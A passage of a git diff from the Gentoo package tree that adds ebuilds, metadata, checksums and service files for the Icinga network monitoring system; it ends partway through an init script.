+#S=${WORKDIR}/${PN}-${MY_PV}
+#SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+SRC_URI="https://github.com/${PN}/${PN}-core/releases/download/v${PV}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~x86"
+IUSE="+apache2 contrib eventhandler +idoutils lighttpd +mysql perl +plugins postgres ssl +vim-syntax +web"
+DEPEND="idoutils? ( dev-db/libdbi-drivers[mysql?,postgres?] )
+ perl? ( dev-lang/perl )
+ virtual/mailx
+ web? (
+ media-libs/gd[jpeg,png]
+ lighttpd? ( www-servers/lighttpd )
+ )
+ !net-analyzer/nagios-core"
+RDEPEND="${DEPEND}
+ plugins? ( net-analyzer/nagios-plugins )"
+RESTRICT="test"
+
+want_apache2
+
+pkg_setup() {
+ depend.apache_pkg_setup
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ epatch "${FILESDIR}/fix-prestripped-binaries-1.7.0.patch"
+}
+
+src_configure() {
+ local myconf
+
+ myconf="$(use_enable perl embedded-perl)
+ $(use_with perl perlcache)
+ $(use_enable idoutils)
+ $(use_enable ssl)
+ --with-cgiurl=/icinga/cgi-bin
+ --with-log-dir=/var/log/icinga
+ --libdir=/usr/$(get_libdir)
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --with-lockfile=/var/run/icinga/icinga.lock
+ --with-temp-dir=/tmp/icinga
+ --with-temp-file=/tmp/icinga/icinga.tmp"
+
+ if use idoutils ; then
+ myconf+=" --with-ido2db-lockfile=/var/run/icinga/ido2db.lock
+ --with-icinga-chkfile=/var/lib/icinga/icinga.chk
+ --with-ido-sockfile=/var/lib/icinga/ido.sock
+ --with-idomod-tmpfile=/tmp/icinga/idomod.tmp"
+ fi
+
+ if use eventhandler ; then
+ myconfig+=" --with-eventhandler-dir=/etc/icinga/eventhandlers"
+ fi
+
+ if use plugins ; then
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ else
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ fi
+
+ if use !apache2 && use !lighttpd ; then
+ myconf+=" --with-command-group=icinga"
+ else
+ if use apache2 ; then
+ myconf+=" --with-httpd-conf=/etc/apache2/conf.d"
+ myconf+=" --with-command-group=apache"
+ elif use lighttpd ; then
+ myconf+=" --with-command-group=lighttpd"
+ fi
+ fi
+
+ econf ${myconf}
+}
+
+src_compile() {
+ tc-export CC
+
+ emake icinga || die "make failed"
+
+ if use web ; then
+ emake DESTDIR="${D}" cgis || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib || die
+ fi
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" idoutils || die
+ fi
+}
+
+src_install() {
+ dodoc Changelog README UPGRADING || die
+
+ if ! use web ; then
+ sed -i -e '/cd $(SRC_\(CGI\|HTM\))/d' Makefile || die
+ fi
+
+ emake DESTDIR="${D}" install{,-config,-commandmode} || die
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" install-idoutils || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib install || die
+ fi
+
+ if use eventhandler ; then
+ emake DESTDIR="${D}" install-eventhandlers || die
+ fi
+
+ newinitd "${FILESDIR}"/icinga-init.d icinga || die
+ newconfd "${FILESDIR}"/icinga-conf.d icinga || die
+ if use idoutils ; then
+ newinitd "${FILESDIR}"/ido2db-init.d ido2db || die
+ newconfd "${FILESDIR}"/ido2db-conf.d ido2db || die
+ insinto /usr/share/icinga/contrib/db
+ doins -r module/idoutils/db/* || die
+ fi
+ # Apache Module
+ if use web ; then
+ if use apache2 ; then
+ insinto "${APACHE_MODULES_CONFDIR}"
+ newins "${FILESDIR}"/icinga-apache.conf 99_icinga.conf || die
+ elif use lighttpd ; then
+ insinto /etc/lighttpd
+ newins "${FILESDIR}"/icinga-lighty.conf lighttpd_icinga.conf || die
+ else
+ ewarn "${CATEGORY}/${PF} only supports Apache-2.x or Lighttpd webserver"
+ ewarn "out-of-the-box. Since you are not using one of them, you"
+ ewarn "have to configure your webserver accordingly yourself."
+ fi
+ fowners -R root:root /usr/$(get_libdir)/icinga || die
+ cd "${D}" || die
+ find usr/$(get_libdir)/icinga -type d -exec fperms 755 {} +
+ find usr/$(get_libdir)/icinga/cgi-bin -type f -exec fperms 755 {} +
+ fi
+
+ if use eventhandler ; then
+ dodir /etc/icinga/eventhandlers || die
+ fowners icinga:icinga /etc/icinga/eventhandlers || die
+ fi
+
+ keepdir /etc/icinga
+ keepdir /var/lib/icinga
+ keepdir /var/lib/icinga/archives
+ keepdir /var/lib/icinga/rw
+ keepdir /var/lib/icinga/spool/checkresults
+
+ if use apache2 ; then
+ webserver=apache
+ elif use lighttpd ; then
+ webserver=lighttpd
+ else
+ webserver=icinga
+ fi
+
+ fowners icinga:icinga /var/lib/icinga || die "Failed chown of /var/lib/icinga"
+ fowners -R icinga:${webserver} /var/lib/icinga/rw || die "Failed chown of /var/lib/icinga/rw"
+
+ fperms 6755 /var/lib/icinga/rw || die "Failed Chmod of ${D}/var/lib/icinga/rw"
+ fperms 0750 /etc/icinga || die "Failed chmod of ${D}/etc/icinga"
+
+ # paxmarks
+ if use idoutils ; then
+ pax-mark m usr/sbin/ido2db
+ fi
+}
+
+pkg_postinst() {
+ if use web ; then
+ elog "This does not include cgis that are perl-dependent"
+ elog "Currently traceroute.cgi is perl-dependent"
+ elog "Note that the user your webserver is running as needs"
+ elog "read-access to /etc/icinga."
+ elog
+ if use apache2 || use lighttpd ; then
+ elog "There are several possible solutions to accomplish this,"
+ elog "choose the one you are most comfortable with:"
+ elog
+ if use apache2 ; then
+ elog " usermod -G icinga apache"
+ elog "or"
+ elog " chown icinga:apache /etc/icinga"
+ elog
+ elog "Also edit /etc/conf.d/apache2 and add a line like"
+ elog "APACHE2_OPTS=\"\$APACHE2_OPTS -D ICINGA\""
+ elog
+ elog "Icinga web service needs user authentication. If you"
+ elog "use the base configuration, you need a password file"
+ elog "with a password for user \"icingaadmin\""
+ elog "You can create this file by executing:"
+ elog "htpasswd -c /etc/icinga/htpasswd.users icingaadmin"
+ elog
+ elog "you may want to also add apache to the icinga group"
+ elog "to allow it access to the AuthUserFile"
+ elog
+ elif use lighttpd ; then
+ elog " usermod -G icinga lighttpd "
+ elog "or"
+ elog " chown icinga:lighttpd /etc/icinga"
+ elog "Also edit /etc/lighttpd/lighttpd.conf and add 'include \"lighttpd_icinga.conf\"'"
+ fi
+ elog
+ elog "That will make icinga's web front end visable via"
+ elog "http://localhost/icinga/"
+ elog
+ else
+ elog "IMPORTANT: Do not forget to add the user your webserver"
+ elog "is running as to the icinga group!"
+ fi
+ else
+ ewarn "Please note that you have installed Icinga without web interface."
+ ewarn "Please don't file any bugs about having no web interface when you do this."
+ ewarn "Thank you!"
+ fi
+ elog
+ elog "If you want icinga to start at boot time"
+ elog "remember to execute:"
+ elog " rc-update add icinga default"
+ elog
+ elog "If your kernel has /proc protection, icinga"
+ elog "will not be happy as it relies on accessing the proc"
+ elog "filesystem. You can fix this by adding icinga into"
+ elog "the group wheel, but this is not recomended."
+ elog
+ if [ -d "${ROOT}"/var/icinga ] ; then
+ ewarn
+ ewarn "/var/icinga was moved to /var/lib/icinga"
+ ewarn "please move the files if this was an upgrade"
+ if use idoutils ; then
+ ewarn "and edit /etc/ido2db.cfg to change the location of the files"
+ ewarn "it accesses"
+ ewarn "update your db with the scripts under the directory"
+ ewarn "/usr/share/icinga/contrib/db/"
+ fi
+ ewarn
+ ewarn "The \"mv /var/icinga /var/lib/\" command works well to move the files"
+ ewarn "remove /var/icinga afterwards to make this warning disappear"
+ fi
+}
diff --git a/net-analyzer/icinga/icinga-1.12.2.ebuild b/net-analyzer/icinga/icinga-1.12.2.ebuild
new file mode 100644
index 000000000000..cb9a0d99dc93
--- /dev/null
+++ b/net-analyzer/icinga/icinga-1.12.2.ebuild
@@ -0,0 +1,267 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils multilib pax-utils toolchain-funcs user versionator
+
+DESCRIPTION="Nagios Fork - Check daemon, CGIs, docs, IDOutils"
+HOMEPAGE="http://www.icinga.org/"
+#MY_PV=$(delete_version_separator 3)
+#SRC_URI="mirror://sourceforge/${PN}/${PN}-${MY_PV}.tar.gz"
+#S=${WORKDIR}/${PN}-${MY_PV}
+#SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+SRC_URI="https://github.com/${PN}/${PN}-core/releases/download/v${PV}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~hppa x86"
+IUSE="+apache2 contrib eventhandler +idoutils lighttpd +mysql perl +plugins postgres ssl +vim-syntax +web"
+DEPEND="idoutils? ( dev-db/libdbi-drivers[mysql?,postgres?] )
+ perl? ( dev-lang/perl )
+ virtual/mailx
+ web? (
+ media-libs/gd[jpeg,png]
+ lighttpd? ( www-servers/lighttpd )
+ )
+ !net-analyzer/nagios-core"
+RDEPEND="${DEPEND}
+ plugins? ( || (
+ net-analyzer/monitoring-plugins
+ net-analyzer/nagios-plugins
+ ) )"
+RESTRICT="test"
+
+want_apache2
+
+pkg_setup() {
+ depend.apache_pkg_setup
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ epatch "${FILESDIR}/fix-prestripped-binaries-1.7.0.patch"
+}
+
+src_configure() {
+ local myconf
+
+ myconf="$(use_enable perl embedded-perl)
+ $(use_with perl perlcache)
+ $(use_enable idoutils)
+ $(use_enable ssl)
+ --with-cgiurl=/icinga/cgi-bin
+ --with-log-dir=/var/log/icinga
+ --libdir=/usr/$(get_libdir)
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --with-lockfile=/var/run/icinga/icinga.lock
+ --with-temp-dir=/tmp/icinga
+ --with-temp-file=/tmp/icinga/icinga.tmp"
+
+ if use idoutils ; then
+ myconf+=" --with-ido2db-lockfile=/var/run/icinga/ido2db.lock
+ --with-icinga-chkfile=/var/lib/icinga/icinga.chk
+ --with-ido-sockfile=/var/lib/icinga/ido.sock
+ --with-idomod-tmpfile=/tmp/icinga/idomod.tmp"
+ fi
+
+ if use eventhandler ; then
+ myconfig+=" --with-eventhandler-dir=/etc/icinga/eventhandlers"
+ fi
+
+ if use plugins ; then
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ else
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ fi
+
+ if use !apache2 && use !lighttpd ; then
+ myconf+=" --with-command-group=icinga"
+ else
+ if use apache2 ; then
+ myconf+=" --with-httpd-conf=/etc/apache2/conf.d"
+ myconf+=" --with-command-group=apache"
+ elif use lighttpd ; then
+ myconf+=" --with-command-group=lighttpd"
+ fi
+ fi
+
+ econf ${myconf}
+}
+
+src_compile() {
+ tc-export CC
+
+ emake icinga || die "make failed"
+
+ if use web ; then
+ emake DESTDIR="${D}" cgis || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib || die
+ fi
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" idoutils || die
+ fi
+}
+
+src_install() {
+ dodoc Changelog README UPGRADING || die
+
+ if ! use web ; then
+ sed -i -e '/cd $(SRC_\(CGI\|HTM\))/d' Makefile || die
+ fi
+
+ emake DESTDIR="${D}" install{,-config,-commandmode} || die
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" install-idoutils || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib install || die
+ fi
+
+ if use eventhandler ; then
+ emake DESTDIR="${D}" install-eventhandlers || die
+ fi
+
+ newinitd "${FILESDIR}"/icinga-init.d icinga || die
+ newconfd "${FILESDIR}"/icinga-conf.d icinga || die
+ if use idoutils ; then
+ newinitd "${FILESDIR}"/ido2db-init.d ido2db || die
+ newconfd "${FILESDIR}"/ido2db-conf.d ido2db || die
+ insinto /usr/share/icinga/contrib/db
+ doins -r module/idoutils/db/* || die
+ fi
+ # Apache Module
+ if use web ; then
+ if use apache2 ; then
+ insinto "${APACHE_MODULES_CONFDIR}"
+ newins "${FILESDIR}"/icinga-apache.conf 99_icinga.conf || die
+ elif use lighttpd ; then
+ insinto /etc/lighttpd
+ newins "${FILESDIR}"/icinga-lighty.conf lighttpd_icinga.conf || die
+ else
+ ewarn "${CATEGORY}/${PF} only supports Apache-2.x or Lighttpd webserver"
+ ewarn "out-of-the-box. Since you are not using one of them, you"
+ ewarn "have to configure your webserver accordingly yourself."
+ fi
+ fowners -R root:root /usr/$(get_libdir)/icinga || die
+ cd "${D}" || die
+ find usr/$(get_libdir)/icinga -type d -exec fperms 755 {} +
+ find usr/$(get_libdir)/icinga/cgi-bin -type f -exec fperms 755 {} +
+ fi
+
+ if use eventhandler ; then
+ dodir /etc/icinga/eventhandlers || die
+ fowners icinga:icinga /etc/icinga/eventhandlers || die
+ fi
+
+ keepdir /etc/icinga
+ keepdir /var/lib/icinga
+ keepdir /var/lib/icinga/archives
+ keepdir /var/lib/icinga/rw
+ keepdir /var/lib/icinga/spool/checkresults
+
+ if use apache2 ; then
+ webserver=apache
+ elif use lighttpd ; then
+ webserver=lighttpd
+ else
+ webserver=icinga
+ fi
+
+ fowners icinga:icinga /var/lib/icinga || die "Failed chown of /var/lib/icinga"
+ fowners -R icinga:${webserver} /var/lib/icinga/rw || die "Failed chown of /var/lib/icinga/rw"
+
+ fperms 6755 /var/lib/icinga/rw || die "Failed Chmod of ${D}/var/lib/icinga/rw"
+ fperms 0750 /etc/icinga || die "Failed chmod of ${D}/etc/icinga"
+
+ # paxmarks
+ if use idoutils ; then
+ pax-mark m usr/sbin/ido2db
+ fi
+}
+
+pkg_postinst() {
+ if use web ; then
+ elog "This does not include cgis that are perl-dependent"
+ elog "Currently traceroute.cgi is perl-dependent"
+ elog "Note that the user your webserver is running as needs"
+ elog "read-access to /etc/icinga."
+ elog
+ if use apache2 || use lighttpd ; then
+ elog "There are several possible solutions to accomplish this,"
+ elog "choose the one you are most comfortable with:"
+ elog
+ if use apache2 ; then
+ elog " usermod -G icinga apache"
+ elog "or"
+ elog " chown icinga:apache /etc/icinga"
+ elog
+ elog "Also edit /etc/conf.d/apache2 and add a line like"
+ elog "APACHE2_OPTS=\"\$APACHE2_OPTS -D ICINGA\""
+ elog
+ elog "Icinga web service needs user authentication. If you"
+ elog "use the base configuration, you need a password file"
+ elog "with a password for user \"icingaadmin\""
+ elog "You can create this file by executing:"
+ elog "htpasswd -c /etc/icinga/htpasswd.users icingaadmin"
+ elog
+ elog "you may want to also add apache to the icinga group"
+ elog "to allow it access to the AuthUserFile"
+ elog
+ elif use lighttpd ; then
+ elog " usermod -G icinga lighttpd "
+ elog "or"
+ elog " chown icinga:lighttpd /etc/icinga"
+ elog "Also edit /etc/lighttpd/lighttpd.conf and add 'include \"lighttpd_icinga.conf\"'"
+ fi
+ elog
+ elog "That will make icinga's web front end visable via"
+ elog "http://localhost/icinga/"
+ elog
+ else
+ elog "IMPORTANT: Do not forget to add the user your webserver"
+ elog "is running as to the icinga group!"
+ fi
+ else
+ ewarn "Please note that you have installed Icinga without web interface."
+ ewarn "Please don't file any bugs about having no web interface when you do this."
+ ewarn "Thank you!"
+ fi
+ elog
+ elog "If you want icinga to start at boot time"
+ elog "remember to execute:"
+ elog " rc-update add icinga default"
+ elog
+ elog "If your kernel has /proc protection, icinga"
+ elog "will not be happy as it relies on accessing the proc"
+ elog "filesystem. You can fix this by adding icinga into"
+ elog "the group wheel, but this is not recomended."
+ elog
+ if [ -d "${ROOT}"/var/icinga ] ; then
+ ewarn
+ ewarn "/var/icinga was moved to /var/lib/icinga"
+ ewarn "please move the files if this was an upgrade"
+ if use idoutils ; then
+ ewarn "and edit /etc/ido2db.cfg to change the location of the files"
+ ewarn "it accesses"
+ ewarn "update your db with the scripts under the directory"
+ ewarn "/usr/share/icinga/contrib/db/"
+ fi
+ ewarn
+ ewarn "The \"mv /var/icinga /var/lib/\" command works well to move the files"
+ ewarn "remove /var/icinga afterwards to make this warning disappear"
+ fi
+}
diff --git a/net-analyzer/icinga/icinga-1.9.6.ebuild b/net-analyzer/icinga/icinga-1.9.6.ebuild
new file mode 100644
index 000000000000..bcee5701adec
--- /dev/null
+++ b/net-analyzer/icinga/icinga-1.9.6.ebuild
@@ -0,0 +1,259 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+inherit depend.apache eutils multilib toolchain-funcs user versionator
+
+DESCRIPTION="Nagios Fork - Check daemon, CGIs, docs, IDOutils"
+HOMEPAGE="http://www.icinga.org/"
+#MY_PV=$(delete_version_separator 3)
+#SRC_URI="mirror://sourceforge/${PN}/${PN}-${MY_PV}.tar.gz"
+#S=${WORKDIR}/${PN}-${MY_PV}
+#SRC_URI="mirror://sourceforge/${PN}/${P}.tar.gz"
+SRC_URI="https://github.com/${PN}/${PN}-core/releases/download/v${PV}/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~hppa ~x86"
+IUSE="+apache2 contrib eventhandler +idoutils lighttpd +mysql perl +plugins postgres ssl +vim-syntax +web"
+DEPEND="idoutils? ( dev-db/libdbi-drivers[mysql?,postgres?] )
+ perl? ( dev-lang/perl )
+ virtual/mailx
+ web? (
+ media-libs/gd[jpeg,png]
+ lighttpd? ( www-servers/lighttpd )
+ )
+ !net-analyzer/nagios-core"
+RDEPEND="${DEPEND}
+ plugins? ( net-analyzer/nagios-plugins )"
+RESTRICT="test"
+
+want_apache2
+
+pkg_setup() {
+ depend.apache_pkg_setup
+ enewgroup icinga
+ enewgroup nagios
+ enewuser icinga -1 -1 /var/lib/icinga "icinga,nagios"
+}
+
+src_prepare() {
+ epatch "${FILESDIR}/fix-prestripped-binaries-1.7.0.patch"
+}
+
+src_configure() {
+ local myconf
+
+ myconf="$(use_enable perl embedded-perl)
+ $(use_with perl perlcache)
+ $(use_enable idoutils)
+ $(use_enable ssl)
+ --with-cgiurl=/icinga/cgi-bin
+ --with-log-dir=/var/log/icinga
+ --libdir=/usr/$(get_libdir)
+ --bindir=/usr/sbin
+ --sbindir=/usr/$(get_libdir)/icinga/cgi-bin
+ --datarootdir=/usr/share/icinga/htdocs
+ --localstatedir=/var/lib/icinga
+ --sysconfdir=/etc/icinga
+ --with-lockfile=/var/run/icinga/icinga.lock
+ --with-temp-dir=/tmp/icinga
+ --with-temp-file=/tmp/icinga/icinga.tmp"
+
+ if use idoutils ; then
+ myconf+=" --with-ido2db-lockfile=/var/run/icinga/ido2db.lock
+ --with-icinga-chkfile=/var/lib/icinga/icinga.chk
+ --with-ido-sockfile=/var/lib/icinga/ido.sock
+ --with-idomod-tmpfile=/tmp/icinga/idomod.tmp"
+ fi
+
+ if use eventhandler ; then
+ myconfig+=" --with-eventhandler-dir=/etc/icinga/eventhandlers"
+ fi
+
+ if use plugins ; then
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ else
+ myconf+=" --with-plugin-dir=/usr/$(get_libdir)/nagios/plugins"
+ fi
+
+ if use !apache2 && use !lighttpd ; then
+ myconf+=" --with-command-group=icinga"
+ else
+ if use apache2 ; then
+ myconf+=" --with-httpd-conf=/etc/apache2/conf.d"
+ myconf+=" --with-command-group=apache"
+ elif use lighttpd ; then
+ myconf+=" --with-command-group=lighttpd"
+ fi
+ fi
+
+ econf ${myconf}
+}
+
+src_compile() {
+ tc-export CC
+
+ emake icinga || die "make failed"
+
+ if use web ; then
+ emake DESTDIR="${D}" cgis || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib || die
+ fi
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" idoutils || die
+ fi
+}
+
+src_install() {
+ dodoc Changelog README UPGRADING || die
+
+ if ! use web ; then
+ sed -i -e '/cd $(SRC_\(CGI\|HTM\))/d' Makefile || die
+ fi
+
+ emake DESTDIR="${D}" install{,-config,-commandmode} || die
+
+ if use idoutils ; then
+ emake DESTDIR="${D}" install-idoutils || die
+ fi
+
+ if use contrib ; then
+ emake DESTDIR="${D}" -C contrib install || die
+ fi
+
+ if use eventhandler ; then
+ emake DESTDIR="${D}" install-eventhandlers || die
+ fi
+
+ newinitd "${FILESDIR}"/icinga-init.d icinga || die
+ newconfd "${FILESDIR}"/icinga-conf.d icinga || die
+ if use idoutils ; then
+ newinitd "${FILESDIR}"/ido2db-init.d ido2db || die
+ newconfd "${FILESDIR}"/ido2db-conf.d ido2db || die
+ insinto /usr/share/icinga/contrib/db
+ doins -r module/idoutils/db/* || die
+ fi
+ # Apache Module
+ if use web ; then
+ if use apache2 ; then
+ insinto "${APACHE_MODULES_CONFDIR}"
+ newins "${FILESDIR}"/icinga-apache.conf 99_icinga.conf || die
+ elif use lighttpd ; then
+ insinto /etc/lighttpd
+ newins "${FILESDIR}"/icinga-lighty.conf lighttpd_icinga.conf || die
+ else
+ ewarn "${CATEGORY}/${PF} only supports Apache-2.x or Lighttpd webserver"
+ ewarn "out-of-the-box. Since you are not using one of them, you"
+ ewarn "have to configure your webserver accordingly yourself."
+ fi
+ fowners -R root:root /usr/$(get_libdir)/icinga || die
+ cd "${D}" || die
+ find usr/$(get_libdir)/icinga -type d -exec fperms 755 {} +
+ find usr/$(get_libdir)/icinga/cgi-bin -type f -exec fperms 755 {} +
+ fi
+
+ if use eventhandler ; then
+ dodir /etc/icinga/eventhandlers || die
+ fowners icinga:icinga /etc/icinga/eventhandlers || die
+ fi
+
+ keepdir /etc/icinga
+ keepdir /var/lib/icinga
+ keepdir /var/lib/icinga/archives
+ keepdir /var/lib/icinga/rw
+ keepdir /var/lib/icinga/spool/checkresults
+
+ if use apache2 ; then
+ webserver=apache
+ elif use lighttpd ; then
+ webserver=lighttpd
+ else
+ webserver=icinga
+ fi
+
+ fowners icinga:icinga /var/lib/icinga || die "Failed chown of /var/lib/icinga"
+ fowners -R icinga:${webserver} /var/lib/icinga/rw || die "Failed chown of /var/lib/icinga/rw"
+
+ fperms 6755 /var/lib/icinga/rw || die "Failed Chmod of ${D}/var/lib/icinga/rw"
+ fperms 0750 /etc/icinga || die "Failed chmod of ${D}/etc/icinga"
+}
+
+pkg_postinst() {
+ if use web ; then
+ elog "This does not include cgis that are perl-dependent"
+ elog "Currently traceroute.cgi is perl-dependent"
+ elog "Note that the user your webserver is running as needs"
+ elog "read-access to /etc/icinga."
+ elog
+ if use apache2 || use lighttpd ; then
+ elog "There are several possible solutions to accomplish this,"
+ elog "choose the one you are most comfortable with:"
+ elog
+ if use apache2 ; then
+ elog " usermod -G icinga apache"
+ elog "or"
+ elog " chown icinga:apache /etc/icinga"
+ elog
+ elog "Also edit /etc/conf.d/apache2 and add a line like"
+ elog "APACHE2_OPTS=\"\$APACHE2_OPTS -D ICINGA\""
+ elog
+ elog "Icinga web service needs user authentication. If you"
+ elog "use the base configuration, you need a password file"
+ elog "with a password for user \"icingaadmin\""
+ elog "You can create this file by executing:"
+ elog "htpasswd -c /etc/icinga/htpasswd.users icingaadmin"
+ elog
+ elog "you may want to also add apache to the icinga group"
+ elog "to allow it access to the AuthUserFile"
+ elog
+ elif use lighttpd ; then
+ elog " usermod -G icinga lighttpd "
+ elog "or"
+ elog " chown icinga:lighttpd /etc/icinga"
+ elog "Also edit /etc/lighttpd/lighttpd.conf and add 'include \"lighttpd_icinga.conf\"'"
+ fi
+ elog
+ elog "That will make icinga's web front end visable via"
+ elog "http://localhost/icinga/"
+ elog
+ else
+ elog "IMPORTANT: Do not forget to add the user your webserver"
+ elog "is running as to the icinga group!"
+ fi
+ else
+ ewarn "Please note that you have installed Icinga without web interface."
+ ewarn "Please don't file any bugs about having no web interface when you do this."
+ ewarn "Thank you!"
+ fi
+ elog
+ elog "If you want icinga to start at boot time"
+ elog "remember to execute:"
+ elog " rc-update add icinga default"
+ elog
+ elog "If your kernel has /proc protection, icinga"
+ elog "will not be happy as it relies on accessing the proc"
+ elog "filesystem. You can fix this by adding icinga into"
+ elog "the group wheel, but this is not recomended."
+ elog
+ if [ -d "${ROOT}"/var/icinga ] ; then
+ ewarn
+ ewarn "/var/icinga was moved to /var/lib/icinga"
+ ewarn "please move the files if this was an upgrade"
+ if use idoutils ; then
+ ewarn "and edit /etc/ido2db.cfg to change the location of the files"
+ ewarn "it accesses"
+ ewarn "update your db with the scripts under the directory"
+ ewarn "/usr/share/icinga/contrib/db/"
+ fi
+ ewarn
+ ewarn "The \"mv /var/icinga /var/lib/\" command works well to move the files"
+ ewarn "remove /var/icinga afterwards to make this warning disappear"
+ fi
+}
diff --git a/net-analyzer/icinga/metadata.xml b/net-analyzer/icinga/metadata.xml
new file mode 100644
index 000000000000..6bb89af4a7a4
--- /dev/null
+++ b/net-analyzer/icinga/metadata.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <longdescription lang="en">A rebuild of nagios from the ground up</longdescription>
+ <use>
+ <flag name="contrib">additional scripts</flag>
+ <flag name="idoutils">Adds DB support</flag>
+ <flag name="lighttpd">Adds Lighttpd support</flag>
+ <flag name="plugins">Adds support for nagios plugins</flag>
+ <flag name="web">Adds generic web interface support</flag>
+ <flag name="eventhandler">Adds support for running custom scripts whenever a host or service state change occurs</flag>
+ </use>
+ <maintainer>
+ <email>prometheanfire@gentoo.org</email>
+ </maintainer>
+ <upstream>
+ <remote-id type="github">icinga/icinga-core</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/icinga2/Manifest b/net-analyzer/icinga2/Manifest
new file mode 100644
index 000000000000..1d6038f93866
--- /dev/null
+++ b/net-analyzer/icinga2/Manifest
@@ -0,0 +1,4 @@
+DIST icinga2-2.3.5.tar.gz 804780 SHA256 712d13e997fc6fbf02f8c2046851b1fda1291305f0d3d6792cbebf5fb1558225 SHA512 9302ee2360cbc69ff9bc06092b4ebe9fb77901d9d60eb073f41f781e2917f398ccbddb617bb306631c9d4d0dbe0312cdab6fc1369b2c2691cf116d7af04b1ea7 WHIRLPOOL a73f8ab1136b35283c343281d65e4ea3e78ecdc52a6d1775f3202374a0f5dc9927709e2aa705243243d3c8751e313c60b4d88b1d0f15d1514a50e8a4483d94f6
+DIST icinga2-2.3.6.tar.gz 816718 SHA256 96453fbfa418329b74d45bd2a202302add03d907fac28644e1228d869c478093 SHA512 bb16546bce387f4d828c1bba7dc0e5e1e89ca9c8a4bbb931d9fabd3fb0089329751814bee883b3320e0a7a0b2dd26c1e5b2970b2c33fc8172c3e73784d92a960 WHIRLPOOL 21d410a401ac8ada2857640061ede691b0c41b54aca49409fb3e7002195b1975c653351afffd06a375b6a78948ee96e875dcc982971d3332a994752ccc4c80af
+DIST icinga2-2.3.7.tar.gz 817712 SHA256 067335129daf464d800f48d75bf2fde6ae63c99db6a5126d3d322b6562dfdf28 SHA512 46c940b8081dc3e064121acdab366ba28c1156fc563064022099c3186e310d20bcc1743b643046e0579f42e8ea90b9dfa1f868b28df3eedcd18926c7f65c98f6 WHIRLPOOL 5363191df2c5a57d135866589fe683ea53623c3b0583c299e248e32e4822d1f0bb7806ad573ee9ecd402edecb80dc1ced5850550c595b97562126670b74977f9
+DIST icinga2-2.3.8.tar.gz 817951 SHA256 43bf41a7afc03c1527c82139e74cce17c5b3609a8ec14bb0db1f8df193a14054 SHA512 2536725b50ef158ed7447631fe3480dade1f44a86f40d633138cf83a624fee5f605edf075392a68858f5eebfb9ef89cb5ca811d3120ede7a103df9a448cefa55 WHIRLPOOL c768ad6b62a09e1db05220dd91e5c937db792bf1e512385780a613556a9623b9e3b4d2fe355505d674407ed1a4d693bb554f84d1ca03aa08c04743e29a544423
diff --git a/net-analyzer/icinga2/files/icinga2.confd b/net-analyzer/icinga2/files/icinga2.confd
new file mode 100644
index 000000000000..5bfd8d72f04b
--- /dev/null
+++ b/net-analyzer/icinga2/files/icinga2.confd
@@ -0,0 +1,4 @@
+ICINGA2_ERROR_LOG=/var/log/icinga2/error.log
+ICINGA2_STARTUP_LOG=/var/log/icinga2/startup.log
+ICINGA2_LOG=/var/log/icinga2/icinga2.log
+ICINGA2_RUN_DIR=/run/icinga2
diff --git a/net-analyzer/icinga2/files/icinga2.initd b/net-analyzer/icinga2/files/icinga2.initd
new file mode 100644
index 000000000000..49a4eed338c7
--- /dev/null
+++ b/net-analyzer/icinga2/files/icinga2.initd
@@ -0,0 +1,81 @@
+#!/sbin/runscript
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+extra_started_commands="reload"
+
+DAEMON="/usr/sbin/icinga2"
+ICINGA2_CONFIG_FILE="/etc/icinga2/icinga2.conf"
+ICINGA2_RUN_DIR="/run/icinga2"
+ICINGA2_STATE_DIR="/var/cache/icinga2"
+ICINGA2_CMD_DIR="${ICINGA2_RUN_DIR}/cmd"
+ICINGA2_PID_FILE="${ICINGA2_RUN_DIR}/icinga2.pid"
